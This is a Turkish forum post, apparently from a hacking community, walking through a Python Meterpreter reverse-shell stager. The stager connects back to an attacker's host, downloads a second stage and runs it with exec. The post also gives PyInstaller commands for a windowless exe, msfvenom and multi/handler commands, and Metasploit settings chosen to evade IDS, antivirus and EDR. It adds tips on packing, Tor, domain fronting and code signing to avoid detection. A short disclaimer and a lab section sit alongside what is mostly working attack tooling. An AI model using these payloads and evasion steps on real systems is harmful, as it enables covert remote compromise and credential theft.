🐍 PYTHON METERPRETER STAGER: ZAHMETSİZ BİR REVERSE SHELL NASIL ÇALIŞIR? Bu rehberde, Python ile yazılmış bir stager kodunun nasıl çalıştığını, neden PyInstaller ile exe’ye...

🐍 PYTHON METERPRETER STAGER: ZAHMETSİZ BİR REVERSE SHELL NASIL ÇALIŞIR?​

Bu rehberde, Python ile yazılmış bir stager kodunun nasıl çalıştığını, neden PyInstaller ile exe’ye dönüştürüldüğünü ve Metasploit ile nasıl iletişim kurduğunu uzun uzun anlatacağım. Ayrıca Windows Meterpreter alternatifi ve bazı püf noktaları da ekleyeceğim. Hazırsan başlıyoruz.

⚠️ KRİTİK ETİK UYARI: Bu rehber tamamen eğitim amaçlıdır. Anlatılan teknikleri sadece kendi cihazlarında veya yazılı izin aldığın sistemlerde denemelisin. Yetkisiz kullanım yasa dışıdır ve ağır yaptırımları vardır. Tüm sorumluluk kullanıcıya aittir.

📌 1. KODUN PARÇALARI NE İŞE YARAR?​

Verdiğin kod aslında bir reverse shell stager‘dır. Yani boyutu küçük (staged) olduğu için hedefe gönderilmesi kolaydır; asıl büyük payload (Meterpreter) sonradan indirilir.

1.1. Bağlantı Kurma (Try-Catch)​

python
for x in range(10):
try:
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(('IP', PORT))
break
except:
time.sleep(5)
  • 10 kez bağlanmayı dener; her başarısız denemede 5 saniye bekler.
  • Hedef bilgisayar internete çıkmıyorsa veya port kapalıysa pes eder (ama genelde 10 deneme yeterlidir).
  • socket.socket(2, socket.SOCK_STREAM) → AF_INET ve TCP demektir.

1.2. 4 Byte’lık Başlık Okuma​

python
data = s.recv(4)
if len(data) == 4:
l = struct.unpack('>I', data)[0]
else:
print("Received insufficient data.")
raise ValueError
  • Saldırgan tarafından önce toplam payload uzunluğu (4 byte, big-endian) gönderilir.
  • struct.unpack('>I', data)[0] → 4 byte’ı bir tamsayıya çevirir. Örnek: b'\x00\x01\x02\x03' → 66051.
  • Eğer 4 byte’tan az gelirse hata fırlatılır.

1.3. Asıl Payload’u Okuma​

python
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
  • l kadar bayt okunana kadar döngü devam eder.
  • s.recv(l) tek seferde tüm veriyi getirmeyebilir; bu yüzden while ile parça parça okuma yapılır.

1.4. Decompress ve Execute​

python
exec(zlib.decompress(base64.b64decode(d)), {'s': s})
  • Gelen veri base64 kodludur, önce decode edilir, sonra zlib ile decompress edilir.
  • exec(..., {'s': s}) → decompress edilen Python kodunu çalıştırır ve s isimli socket nesnesini ortama ekler.
  • Bu sayede indirilen ikinci stage (Meterpreter) kendi socket’ini kullanarak saldırganla konuşabilir.

🛠️ 2. NEDEN PYINSTALLER İLE EXE YAPILIR?​

Bu betiği çıplak .py olarak gönderirsen hedefte Python yüklü olmalıdır. Oysa PyInstaller ile .exe haline getirdiğinde:

  • Python yorumlayıcısını içine gömer, kurulum gerektirmez.
  • --noconsole flag’i sayesinde hiçbir pencere açılmaz (arka planda çalışır).
  • --onefile tek bir exe üretir, taşıması kolaydır.
  • Gizli modülleri (code, platform, getpass, shlex, shutil) elle eklemek, bazı antivirüslerin exe’yi yanlış pozitif olarak algılamasını azaltabilir (ama garantisi yok).
bash
pyinstaller --onefile --noconsole --clean --hidden-import=code --hidden-import=platform --hidden-import=getpass --hidden-import=shlex --hidden-import=shutil payload.py
Oluşan dosya: dist/payload.exe (genelde 5-10 MB civarında).


🎯 3. METASPLOİT DİNLEYİCİ AYARLARI​

Dinleyiciyi (handler) başlatırken verdiğin parametrelerin her biri bir işe yarar. İşte kısa açıklamaları:



ParametreNe Yapar?
use exploit/multi/handlerGenel amaçlı bağlantı dinleyicisi
set PAYLOAD python/meterpreter/reverse_tcpPython Meterpreter kullanacağını belirtir
set LHOST / LPORTSenin IP’n ve dinlenecek port
set ReverseListenerBindAddress 0.0.0.0Tüm ağ arayüzlerinden bağlantı dinler
set EnableStageEncoding trueStage’i şifreleyerek IDS/IPS’den kaçmaya çalışır
set StageEncodingFallback trueŞifreleme başarısız olursa eski yöntemi dener
set PayloadUUIDTracking trueHer oturuma benzersiz UUID verir (takip için)
set PayloadUUIDSeed stealth_modesetUUID üretiminde sabit bir tohum kullanır
set SessionRetryTotal 86400Oturum koparsa 24 saat boyunca yeniden bağlanmayı dener
set SessionRetryWait 30Her yeniden bağlanma denemesi arasında 30 saniye bekler
set SessionCommunicationTimeout 60010 dakika sessiz kalırsa oturumu kapat
set SessionExpirationTimeout 315360001 yıl sonra otomatik kapat (çok uzun)
set AutoVerifySessionTimeout 60Oturum açıldıktan sonra 60 saniye içinde doğrula
set AutoSystemInfo falseSistem bilgisi toplamayı atlar (bazen stabilite için)
set MeterpreterDebugBuild falseDebug modunu kapat (normal kullanımda gereksiz)
set AutoUnhookProcess trueProcess hook’larını temizler (AV/EDR atlatmak için)
set MeterpreterTryToFork trueYeni bir işlem çatallayarak (fork) çalışır (daha stabil)
set ReverseAllowProxy trueProxy üzerinden geri bağlantıya izin verir
set StagerRetryCount 20Stage indirme başarısız olursa 20 kez dener
set StagerRetryWait 10Denemeler arasında 10 saniye bekler
Bu ayarlar, özellikle güvenlik duvarlarını aşmak ve kararlı bir oturum elde etmek için yapılmıştır.


🔄 4. WİNDOWS METERPRETER ALTERNATİFİ​

Python Meterpreter bazen kararsız olabiliyor veya antivirüsler tarafından hemen yakalanabiliyor. Bunun yerine Windows Meterpreter daha yaygındır.

Msfvenom ile doğrudan EXE oluşturma:

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
Metasploit dinleyici:

bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run
Bu durumda yukarıdaki Python stager’ına ihtiyaç kalmaz. Windows native exe, daha kararlıdır ve Windows API’lerini doğrudan kullanır.

Avantajları:

  • Python gerektirmez.
  • Daha küçük boyut (2-3 MB).
  • kiwi (Mimikatz), hashdump gibi gelişmiş modüller çalışır.
  • Process migration, keylogging, screenshot gibi özellikler daha hızlıdır.
Dezavantajları:

  • Antivirüs imzaları daha fazla.
  • Statik olarak analiz edilmesi daha kolay.

⚙️ 5. GERÇEK DÜNYADA KARŞILAŞILAN ENGELLER​



SorunNeden?Çözüm / Tavsiye
Antivirüs .exe’yi siliyorİmza tabanlı tespitEncoding, packing (UPX) veya obfuscation (örn. -e x86/shikata_ga_nai)
Hedefte Python yokStager çalışmazWindows Meterpreter kullan veya Python’u dağıt (ancak büyük boyut)
Bağlantı kurulamıyorFirewall outbound portu kapatmış80, 443 gibi yaygın portları dene, veya HTTPS tunneling
Meterpreter oturumu geliyor ama hemen ölüyorSessionCommunicationTimeout çok düşükset SessionCommunicationTimeout 0 (sonsuz)
Stage indirilemiyorStagerRetryCount aşıldıStagerRetryCount artır veya stage boyutunu küçült
Python Meterpreter’da load kiwi çalışmıyorMimikatz Windows native gerektirirWindows Meterpreter’a geçmelisin

🧠 6. GELİŞMİŞ OPSEC İPUÇLARI​

  • PyInstaller exe’sini imzala: Bir kod imzalama sertifikası (kendin üretebilirsin, ama güvenilir CA olmalı) tespit edilme ihtimalini azaltır.
  • Stage verisini şifrele: Metasploit’in EnableStageEncoding zaten yapıyor, fakat custom şifreleme ekleyebilirsin.
  • Proxy ve Tor kullan: set ReverseAllowProxy true ile birlikte proxychains üzerinden dinleyici başlatmak IP’ni gizler.
  • Domain fronting: C2 trafiğini meşru bir CDN (Cloudflare vb.) üzerinden yönlendir.

🧪 7. TEST ORTAMI KURMA (LAB)​

  1. Saldırgan makine: Kali Linux (IP: 192.168.1.100)
  2. Hedef makine: Windows 10 sanal (Python yüklü)
  3. Ağ: NAT veya Host-Only (her ikisi de aynı subnet’te)
  4. Adımlar:
    • Stager kodunu hazırla (LHOST=192.168.1.100, LPORT=4444).
    • PyInstaller ile exe’le.
    • Hedefe kopyala (scp veya USB).
    • Metasploit dinleyiciyi başlat.
    • Hedefte exe’yi çalıştır.
    • sessions ile oturumu al.

🔚;​

Python Meterpreter stager’ı, esnek olmasına rağmen günümüzde Windows Meterpreter’a göre daha az tercih edilir. Ancak Python’un zaten yüklü olduğu sistemlerde (bazı Linux makineler, veri bilimi iş istasyonları) hala işe yarayabilir. Verdiğin örnekteki gibi bir kod, ağırlıklı olarak eğitim amaçlıdır.
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl

Users who are viewing this thread

133,160Konular
3,282,456Mesajlar
319,364Kullanıcılar
byonjurSon Üye
Üst Alt